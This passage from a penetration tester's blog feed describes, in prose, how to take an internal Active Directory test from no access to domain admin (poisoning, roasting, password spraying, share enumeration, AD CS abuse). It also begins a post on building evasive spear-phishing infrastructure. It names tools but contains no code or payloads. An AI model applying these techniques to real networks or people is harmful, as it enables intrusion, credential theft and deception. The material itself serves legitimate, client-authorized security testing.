ntlmrelayx.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 80px; text-align: left;&quot;&gt;On the other hand, if you’re aware of the naming convention of the usernames in the domain, we can opt to use a specific RPC endpoint named dsr_getdcnameex2, which will provide us with valid usernames if automated correctly. More information on using this endpoint can be found here: &lt;a href=&quot;https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/&quot;&gt;https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/&lt;/a&gt; &lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;&lt;i&gt;Username enumeration&lt;/i&gt;&lt;/b&gt;: it’s now time to try finding valid AD accounts. Though this can be done in multiple ways, my favorite strategy leverages &lt;a href=&quot;https://github.com/lkarlslund/ldapnomnom&quot;&gt;ldapnomnom&lt;/a&gt; along with &lt;a href=&quot;https://github.com/insidetrust/statistically-likely-usernames&quot;&gt;statistically likely usernames&lt;/a&gt;. An example command for a Hack The Box machine is shown below.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDAaO1Hz2tqSwOLkNjYHHuOp6P1UbM6e1cHpTXrQ6oPvJ-GxwngJGMzexklFI6LKsOoAkedUjZmOXLlNvGEWBGqMo0-T7_NfIr97cZpg8DEFPbHNLery2t4KZRc2FGHqwjc5TdxmmXGYKdeXGT47oNfjTGpdrxTtCUw-m_fm9JsdtkCSooeXEZSxOeUr8S/s2114/Monosnap%20post%20no%20100%20(Peer%20Reviewed%20Copy).docx%20-%20Google%20Docs%202025-02-03%2012-17-52.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;650&quot; data-original-width=&quot;2114&quot; height=&quot;198&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDAaO1Hz2tqSwOLkNjYHHuOp6P1UbM6e1cHpTXrQ6oPvJ-GxwngJGMzexklFI6LKsOoAkedUjZmOXLlNvGEWBGqMo0-T7_NfIr97cZpg8DEFPbHNLery2t4KZRc2FGHqwjc5TdxmmXGYKdeXGT47oNfjTGpdrxTtCUw-m_fm9JsdtkCSooeXEZSxOeUr8S/w640-h198/Monosnap%20post%20no%20100%20(Peer%20Reviewed%20Copy).docx%20-%20Google%20Docs%202025-02-03%2012-17-52.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Username Enumeration&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 40px; text-align: left;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;AD FOOTHOLD STRATEGIES:&lt;/b&gt;&lt;/i&gt; The previous stage leads us to a list of valid AD accounts, so the next logical step is to either find a password for at least one of them, or attempt to relay the existing credentials using relaying tools such as mitm6 or ntlmrelayx. Upon recovering a password, additional enumeration pathways and potential privilege escalation vectors can be unlocked.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 80px; text-align: left;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;AS-REP-ROAST Attack&lt;/b&gt;&lt;/i&gt;: We don’t need a password to run this attack, we can leverage a script named &lt;a href=&quot;https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py&quot;&gt;impacket-GetNPUsers&lt;/a&gt; from the Impacket Framework. If we can find at least one user configured with no Kerberos pre-authentication, we can grab their password hash and attempt cracking it offline with either John the Ripper or &lt;a href=&quot; https://hashcat.net/hashcat/&quot;&gt;Hashcat&lt;/a&gt; depending on your setup being CPU or GPU intensive. The chances to recover the plaintext password are dependent upon the client’s password policy, because the stronger it is, the less our chances of success. As a result of that and as a general rule, don’t sit on your hands waiting for the hashcat results, always keep the ball rolling by exploring other attack and enumeration pathways.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 80px; text-align: left;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;&lt;i&gt;Man-in-the-Middle Attacks&lt;/i&gt;&lt;/b&gt;: If LLMNR/NBT-NS protocols are enabled, as it can be in the majority of networks I’ve tested,we can leverage a vulnerability that makes them susceptible to MitM attacks. In other words, we can poison a connection request from a domain-joined computer communicating with the domain controller, redirecting it to our attacking computer through the use of &lt;a href=&quot;https://github.com/lgandx/Responder&quot;&gt;Responder&lt;/a&gt;. In consequence, we can grab a NetNTLMv2 password hash for the user which performed the connection attempt. If we get lucky, we can relay the hash to other computers hosting SMB shares without enforcing SMB signing. Alternatively, if relaying is not an option, we can resort to attempt cracking the hash offline.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 120px; text-align: left;&quot;&gt;&lt;p style=&quot;text-align: left;&quot;&gt;This attack can potentially allow us to progress, but may require multiple attempts to succeed and has the potential to cause network disruptions. Therefore, it would be courteous and recommended to give your client a heads up before doing so. On the other hand, a consultant must use their best judgment to decide whether the client should be contacted with the interest of time being a key factor. The last thing you need is causing your testing activities to become stuck due to waiting for client input.&lt;/p&gt;These situations should always be avoided, especially if the client has not demonstrated a responsive attitude to your communications during the pre-sales, scoping and authorization stages of the assessment. Alternatively, another tool that can be used for MitM attacks is &lt;a href=&quot;https://github.com/dirkjanm/mitm6&quot;&gt;mitm6&lt;/a&gt;, leveraging an alike vulnerability with IPv6 and the DHCPv6 protocols by spawning a rogue DNS/DHCP server using the IPv6 protocol. Since Windows gives IPv6 addressing priority by default, the use of mitm6 causes all users on the network to use your attacking device for communications to the domain controller, allowing for potential capture of valuable information stored on the target domain. Over time, mitm6 with SOCKS has become my go-to. IPv6 traffic is 
normally allowed on internal networks and its vulnerabilities can allow 
an attacker to successfully authenticate as a valid user without needing
 to know the plaintext password.&lt;/div&gt;&lt;div style=&quot;margin-left: 120px; text-align: left;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;&lt;i&gt;Password Spraying Attacks&lt;/i&gt;&lt;/b&gt;: We can use a tool like &lt;a href=&quot;https://github.com/ropnop/kerbrute&quot;&gt;kerbrute&lt;/a&gt; to try common passwords against the initial list of users we were able to enumerate. Once again, it’s a matter of luck, even though some OSINT on the client may suggest potential password patterns we could attempt. Other than during this initial stage, password spraying can be conducted to test for password reuse, hoping for an administrator account to use a weak password we discovered. A word of advice: this tool can lead to large scale AD account lockouts if used recklessly, as I have learned firsthand through experience. To minimize potential issues, make sure to always use the &lt;span style=&quot;font-family: courier;&quot;&gt;--safe&lt;/span&gt; option to suspend the attack when an account comes back as locked, reduce the number of threads (&lt;span style=&quot;font-family: courier;&quot;&gt;-t4&lt;/span&gt; or &lt;span style=&quot;font-family: courier;&quot;&gt;-t2&lt;/span&gt; are a safe choice) and to enable verbose output (&lt;span style=&quot;font-family: courier;&quot;&gt;--verbose&lt;/span&gt;). Also, it might be more prudent to spray small groups of users instead of all of them at the same time.&lt;i&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/i&gt;These&lt;i&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/i&gt;days, though, I&#39;m normally using another tool (&lt;a href=&quot;https://github.com/Greenwolf/Spray&quot;&gt;spray.sh&lt;/a&gt;) as a &lt;a href=&quot;https://github.com/ropnop/kerbrute/issues/58&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;bug&lt;/a&gt; was discovered in kerbrute leading to multiple account lockouts&lt;i&gt;&lt;b&gt;.&lt;/b&gt;&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 120px; text-align: left;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;Enumerate SMB Shares (Null Sessions)&lt;/b&gt;&lt;/i&gt;: If we can enumerate SMB shares without authentication, we could find some interesting files containing cleartext credentials or other useful information. We can do that through &lt;a href=&quot;https://github.com/Pennyw0rth/NetExec.git&quot;&gt;NetExec&lt;/a&gt; and &lt;a href=&quot;https://github.com/blacklanternsecurity/MANSPIDER&quot;&gt;MANSPIDER&lt;/a&gt;. The latter tool also allows you to search for specific keywords of interest.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 120px; text-align: left;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;Mountable NFS Shares&lt;/b&gt;&lt;/i&gt;: Same considerations as above apply here, provided the NFS shares can be mounted to the local filesystem through the mount command. Potential NFS shares and associated permissions can be enumerated via NMAP and the &lt;span style=&quot;font-family: courier;&quot;&gt;showmount&lt;/span&gt; binary using the &lt;span style=&quot;font-family: courier;&quot;&gt;-e&lt;/span&gt; switch.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 120px; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 120px; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 120px; text-align: left;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&amp;nbsp;&lt;i&gt;&lt;b&gt;Web Services Recon: &lt;/b&gt;&lt;/i&gt;Time to analyze what’s running on web ports, using &lt;a href=&quot;https://github.com/RedSiege/EyeWitness&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;EyeWitness&lt;/a&gt; or &lt;a href=&quot;https://github.com/sensepost/gowitness&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Gowitness&lt;/a&gt;. If we can find network printers or multi-function devices accepting default administrative credentials, we might be in luck. In fact, if such devices support LDAP and this protocol is configured using a&lt;span style=&quot;background-color: transparent; color: black; font-family: Aptos; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;&quot;&gt; &lt;/span&gt;domain account&amp;nbsp;and a hardcoded password, we could conduct a &lt;a href=&quot;https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack&quot;&gt;pass-back attack&lt;/a&gt; and recover the password in cleartext. All we need to do is edit the configuration, change the IP address for the DC to our IP, and then run a connection test. This is a very common attack vector. As a matter of fact, these devices are often configured with standard or no credentials in the name of convenience, because they were installed and forgotten or because internal security tends to be an afterthought compared with perimeter security due to being largely inaccessible from the outside thanks to core network designs such as NAT.&lt;br /&gt;&lt;br /&gt;Other than this, web applications can sometimes be accessed with default credentials and contain user account information or other sensitive data that can be leveraged for a foothold. One notable case is associated with a version of Jenkins accepting standard credentials or configured without authentication, but there can be so many different scenarios that manual testing is absolutely compelling, and we can’t fit all possible attack vectors in this post. In other words, enumerate, enumerate, enumerate!&lt;p role=&quot;presentation&quot; style=&quot;line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; white-space: pre;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Aptos; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;i&gt;Web Directory Enumeration&lt;/i&gt;&lt;/b&gt;: Web apps can sometimes include pages containing useful information, so it can be worth enumerating the &lt;a href=&quot;https://en.wikipedia.org/wiki/Robots.txt&quot;&gt;robots.txt&lt;/a&gt; file and other important directories. My go-to tools for this are &lt;a href=&quot;https://github.com/OJ/gobuster&quot;&gt;gobuster&lt;/a&gt; and &lt;a href=&quot;https://github.com/maurosoria/dirsearch&quot;&gt;dirsearch&lt;/a&gt;. &lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;Anonymous FTP&lt;/b&gt;&lt;/i&gt;: FTP servers can sometimes allow anonymous login and enable an attacker to recover sensitive files. It’s something you need to try but has a low likelihood of being successful, in my experience.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 120px; text-align: left;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;RCE Vulnerabilities&lt;/b&gt;: During internal pentests, it’s not so uncommon to identify remote code execution vulnerabilities rated as critical or high, often originated from missing security patches or unsupported versions of Windows and/or other software (such as &lt;a href=&quot;https://en.wikipedia.org/wiki/EternalBlue&quot;&gt;ETERNALBLUE&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/BlueKeep&quot;&gt;BlueKeep&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/PrintNightmare&quot;&gt;PrintNightmare&lt;/a&gt;, &lt;a href=&quot;https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429&quot;&gt;PetitPotam&lt;/a&gt;, etc.) allowing an unauthenticated user to fully compromise the target host(s). At a first look, these situations could seem to be very promising, as some of these issues could allow an attacker to obtain SYSTEM access to the target hosts, however not so fast. &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;In fact, other important considerations are in order:&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;margin-left: 160px; text-align: left;&quot;&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;i&gt;Can the exploit cause disruptions to the client’s operation?&lt;/i&gt; Some of the exploits for the specific vulnerabilities mentioned above are known to cause crashes. Regardless, for lesser-known exploits, we can’t exclude that this could happen as well and we don’t know if the affected hosts are strategic to the client’s business, so our best option is to document the vulnerability through an auxiliary module or the &lt;span style=&quot;font-family: courier;&quot;&gt;check&lt;/span&gt; functionality of the exploit (when supported by the specific Metasploit module) and contact the client for guidance. The client might be comfortable with an exploitation attempt or not but never skip this step, if you don’t want to end up a  creek without a paddle!&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;i&gt;Is it worth running it for the target hosts?&lt;/i&gt;  Sometimes the vulnerable 
hosts aren’t even domain-joined, because they’re located in kiosks or 
other isolated workstations. In these cases, compromising the target 
host(s) would lead nowhere and IMHO risks overweight benefits. So, I 
report the vulnerability right away, but I don’t even ask the client for
 authorization to exploit it, as I could perform no lateral movements 
afterward anyway. Another scenario that can lead to the same conclusion 
is when some situations causing tensions or contention with the client, 
like crashes, account lockouts or network disruptions have occurred 
during the test, so you want to avoid any further problems that could 
impact the client’s experience.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 120px; text-align: left;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;Ask the Client for Credentials: &lt;/b&gt;&lt;/i&gt;I consider this as the last resort, and I treat it a lot like a personal defeat, but sometimes you need to swallow your pride and ask the client for a standard AD user account to conduct further testing as part of the assessment, to provide more value in the remaining time of the testing window. &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 160px; text-align: left;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 160px; text-align: left;&quot;&gt;I believe demonstrating a vulnerability which allows you to get an AD foothold totally on your own adds more value but sometimes you can run out of choices. When the client does most things right, a tester might not be able to access the usual attack vectors granting a foothold. For example, disabling LLMNR and other vulnerable protocols whilst monitoring alternative communication protocols such as IPv6 for malicious activity would greatly reduce the attack surface but, even without going that far, adopting a strong password policy would go a long way. In fact, even grabbing password hashes leads you nowhere if the client uses a 12+ -character password policy.&lt;/div&gt;&lt;div style=&quot;margin-left: 160px; text-align: left;&quot;&gt;The concept of a strong password policy deserves an additional consideration. Other
 than on the minimum password length allowed, a strong password policy 
relies on the complexity rules enforced. In fact, a password like &lt;span style=&quot;font-family: courier;&quot;&gt;Winter2025!!&lt;/span&gt;
 will formally respect a 12-letter minimum complexity policy as it 
contains uppercase and lowercase characters, numbers and special symbols
 but, as it includes a common dictionary word and a predictable pattern (&lt;span style=&quot;font-family: courier;&quot;&gt;Season + Year + Special symbols&lt;/span&gt;), it&#39;s indeed very weak. If one or more AD user accounts are configured with such a password, an attacker can easily collect it both in cleartext through a password spraying attack or by subjecting the retrieved password hash(es) to an offline recovery attack through John The Ripper or Hashcat. &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;margin-left: 160px; text-align: left;&quot;&gt;If an organization adopts filtering solutions that prevent users from creating such passwords, this goes a long way preventing or frustrating most opportunities for attackers to gain an initial foothold, move laterally or achieve a privilege escalation. Also, enforcing SMB signing on all hosts prevents most common Man-in-the-Middle attacks that could allow an attacker&amp;nbsp;to&amp;nbsp;capture password hashes for valid AD domain users.&lt;/div&gt;&lt;div style=&quot;margin-left: 160px; text-align: left;&quot;&gt;&lt;div style=&quot;margin-left: 160px; text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 160px; text-align: left;&quot;&gt;As a result of that, I have had cases where I could exploit AS-REP-ROAST and Kerberoasting and I also retrieved a hash via Responder, but I was unable to crack any of them, so I got stuck. In fact, NetNTMlv2 password hashes can only be relayed and not passed around (&lt;a href=&quot;https://en.wikipedia.org/wiki/Pass_the_hash&quot;&gt;Pass-The-Hash&lt;/a&gt;), so if the relaying is unsuccessful, we’re out of luck.&amp;nbsp;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;margin-left: 160px; text-align: left;&quot;&gt;Regardless, most enumeration and privilege escalation vectors require authentication. As such, concluding the engagement here without conducting further authenticated tests wouldn’t be very helpful to the client.&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 160px; text-align: left;&quot;&gt;&lt;br /&gt;&lt;br /&gt;AUTHENTICATED ATTACKS / DEEP DOMAIN ENUMERATION / PRIVILEGE ESCALATION&lt;br /&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;margin-left: 160px; text-align: left;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;i&gt;&lt;b&gt;Deep Domain Enumeration&lt;/b&gt;&lt;/i&gt;: With valid credentials, we can now use various tools such as:&lt;a href=&quot;https://github.com/SpecterOps/BloodHound-Legacy&quot;&gt; BloodHound Legacy&lt;/a&gt;,&lt;a href=&quot;https://github.com/SpecterOps/BloodHound&quot;&gt; BloodHound CE&lt;/a&gt;,&lt;a href=&quot;https://github.com/PlumHound/PlumHound&quot;&gt; PlumHound&lt;/a&gt; and&lt;a href=&quot;https://github.com/dirkjanm/ldapdomaindump&quot;&gt; ldapdomaindump&lt;/a&gt; to conduct further enumeration and analyze potential privilege escalation vectors. Ideally, we want to enumerate all domain users and associated groups in order to identify any opportunity of gaining domain or enterprise administrator access across the Active Directory estate. We also want to further enumerate available SMB shares leveraging the credential provisioned, especially when null sessions aren’t supported. &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 160px; text-align: left;&quot;&gt;&lt;br /&gt;&lt;br /&gt;AUTHENTICATED ATTACKS&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 160px; text-align: left;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt; &lt;b&gt;&lt;i&gt;Kerberoasting&lt;/i&gt;&lt;/b&gt;: We can now conduct an attack against the Kerberos authentication protocol known as&lt;a href=&quot;https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/kerberoasting/&quot;&gt; Kerberoasting&lt;/a&gt;. If successful, the attack allows all users on the AD environment to retrieve the password hashes for affected Active Directory account(s) which have an SPN (Service Principal Name) associated to them.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 120px; text-align: left;&quot;&gt;&lt;p style=&quot;line-height: 1.2; margin-bottom: 0pt; margin-left: 42.24pt; margin-top: 0pt; text-align: left;&quot;&gt;PRIVILEGE ESCALATION&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 160px; text-align: left;&quot;&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;Active Directory Certificate Services (AD CS)&lt;/b&gt;: These services can be subjected to &lt;a href=&quot;https://www.thehacker.recipes/ad/movement/adcs/&quot;&gt;multiple vulnerabilities&lt;/a&gt; allowing a domain user or a domain machine account to request a certificate for any other user or machine account, including domain administrators, allowing for an opportunity of privilege escalation from a domain user to an administrator. Depending on the specific AD configurations, there can be multiple 
additional privilege escalation vectors, so many that cover all of them 
here is impossible.&lt;span style=&quot;background-color: transparent; color: black; font-family: Aptos; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 120px; text-align: left;&quot;&gt;&lt;br /&gt;&lt;br /&gt;CONCLUSIVE THOUGHTS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A point that’s often misunderstood is the escalation of one’s privilege from a standard user to domain/enterprise administrator is not always the ultimate goal of an internal pentest or the most effective outcome to discuss during the reporting stage. Alternatively, a strong focus towards accessing sensitive and confidential data on the internal network and explaining the potential business impacts of a live incident is far more beneficial to the client.&lt;br /&gt;&lt;br /&gt;I previously reviewed a report which exemplifies the above point very effectively. The tester had captured a password hash belonging to a domain administrator and, as it happened to be associated with a weak password, the tester could collect the cleartext password which was cracked, and log on to the DC as an administrator; but that was it. The tester demonstrated no impact such as retrieval of confidential information with administrative access. On the contrary, I was sometimes unable to gain DA (Domain Administrator) access, yet found plenty of confidential data stored in plaintext across the network that the client was not at all concerned about that.&lt;br /&gt;&lt;br /&gt;I have developed more experience dealing with this concept recently, but I refuse to hide that being unable to escalate my privileges had certainly caused me a lot of frustrations over my time as a penetration tester!&lt;br /&gt;&lt;br /&gt;Conclusively, we have reached the end of this journey of post 100: From Zero to DA. If you got this far, I hope you learnt one thing or two along the way.&lt;br /&gt;&lt;br /&gt;I hope you enjoyed the trip!&amp;nbsp;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2025/02/tips-for-information-security_0461037507.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/DHcGI3C3Pf4/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-8982358698750268485</guid><pubDate>Tue, 15 Oct 2024 19:34:00 +0000</pubDate><atom:updated>2024-10-15T15:34:27.210-04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">#hacking</category><category domain="http://www.blogger.com/atom/ns#">#phishing</category><title>Tips for an Information Security Analyst/Pentester Career - Ep. 99 - Lessons Learned in Evasive Spear Phishing </title><description>&lt;p&gt;I recently completed the second evasive spear phishing gig in a short amount of time, so I had to up my game and learn a lot of new stuff very fast.&lt;/p&gt;&lt;p&gt;I missed the mark with the first gig, but on the second assessment my emails slipped through the client&#39;s defenses, even though I still feel I could&#39;ve done a better job. &lt;br /&gt;&lt;/p&gt;&lt;p&gt;This post will be about what I learned from this experience and what steps are needed for a successful assessment, without revealing any details about specific clients and projects. I&#39;m also going to live demo a very cool tool I used to deliver my campaign, so stick around for that (check the embedded video for more details).&lt;/p&gt;

&lt;iframe allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; src=&quot;https://www.youtube.com/embed/VNXl83XZ6Ak?si=Gfg3urxfohpB1Jjc&quot; title=&quot;YouTube video player&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;


&lt;p&gt;I will briefly define some basic concepts before diving into what I did and talking about what steps are needed to get better at this.&amp;nbsp; &lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;SPEAR PHISHING VS ENTERPRISE PHISHING&lt;/b&gt;&lt;/p&gt;&lt;p&gt;The distinction is important and not only semantic.&lt;/p&gt;&lt;p&gt;Spear phishing is a very targeted type of phishing that involves a small group of the client&#39;s employees (usually 20 to 50), often times having the same role (e.g. HR employees, executives). As such, it uses personalized information and tends to define attack scenarios very specific to the target user group.&lt;/p&gt;&lt;p&gt;Enterprise phishing targets the whole user base of a specific organization (normally 100 to 500 users or more, depending on the specific organization&#39;s size) with more generalized attack scenarios, that can be relevant to all employees. The goal is to trick recipients into revealing sensitive information or clicking malicious links, but it lacks the tailored approach of spear phishing. In other words, spear phishing is a targeted attack, while enterprise phishing tends to be more of a shot in the dark.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;EVASIVE SPEAR PHISHING VS. NON-EVASIVE SPEAR PHISHING&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Spear phishing campaigns can be evasive or non-evasive.&lt;/p&gt;&lt;p&gt;Evasive spear phishing assessments resemble much more closely real-world adversaries&#39; techniques, so their goal is to assess whether carefully crafted emails can slip though the client&#39;s email defenses without need for the client to whitelist the phishing domain. They&#39;re conducted with non-attributable infrastructure, so the phishing server(s) must be configured in a way that the target users can&#39;t determine who owns the attacking infrastructure. The focus here is on assessing how much a very targeted attack, conducted with carefully crafted messages, is likely to slip through the email perimeter defenses and deceive the target employees. For these reasons, evasive spear phishing attacks must be stealthy and credible. They can sometimes also be part of a red teaming assessment.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Non-evasive spear phishing campaign are more focused on employees&#39; awareness, so whitelisting the phishing domain is no big deal in this case. What matters here is to assess the user base&#39;s response to targeted attacks.&amp;nbsp; &lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;FIRST STEPS&lt;/b&gt;&amp;nbsp;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;i&gt;Kickoff call with the client&lt;/i&gt;: you need to ask two fundamental questions:&lt;/li&gt;&lt;/ul&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Do I have to define a list of targets or will you provide one?&lt;/li&gt;&lt;li&gt;Do you want for me to provide potential attack scenarios or do you have some specific scenarios in mind?&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The answers to these questions define the level of effort expected from you. Though OSINT is always needed, if the client can provide at least one of the above elements, that can save a lot of time and stress, as these engagements don&#39;t normally last very long.&lt;br /&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;i&gt;OSINT stage:&lt;/i&gt; is paramount for the campaign&#39;s success and the sooner it&#39;s started the better. Ideally, one should begin doing this at least two weeks before the engagement kickoff date, but it&#39;s not always possible. We need to know all we can about the target organization to make our message look more credible: company logos, corporate culture, preferred fonts, email signatures, mergers, recent news, technology stack, social media presence, potential targets for impersonation, etc. The final email must look and feel to the reader as it might come from within the target organization, so they&#39;re more inclined to click the link.&lt;/li&gt;&lt;li&gt;&lt;b&gt;PREPPING INFRASTRUCTURE&lt;/b&gt;: I&#39;ll delve deeper with the related settings in the video demo, however the basic steps are as follows:&lt;/li&gt;&lt;li&gt;&lt;i&gt;Have an aged domain at hand&lt;/i&gt;, ideally purchased over 90 days earlier than the start of the engagement and never used in prior phishing engagements, to host the phishing server. Domains that are newer than 90 days can more likely&amp;nbsp; get flagged as suspicious and blocked by email defense mechanisms.&lt;/li&gt;&lt;li&gt;&lt;i&gt;Create an AWS EC2 instance to host your phishing server&lt;/i&gt;: in your security settings, edit inbound rules by restricting SSH access to your public IP and opening TCP and UDP ports 53, 80, 443 and 8443 to everyone (select Anywhere-IPv4).&lt;br 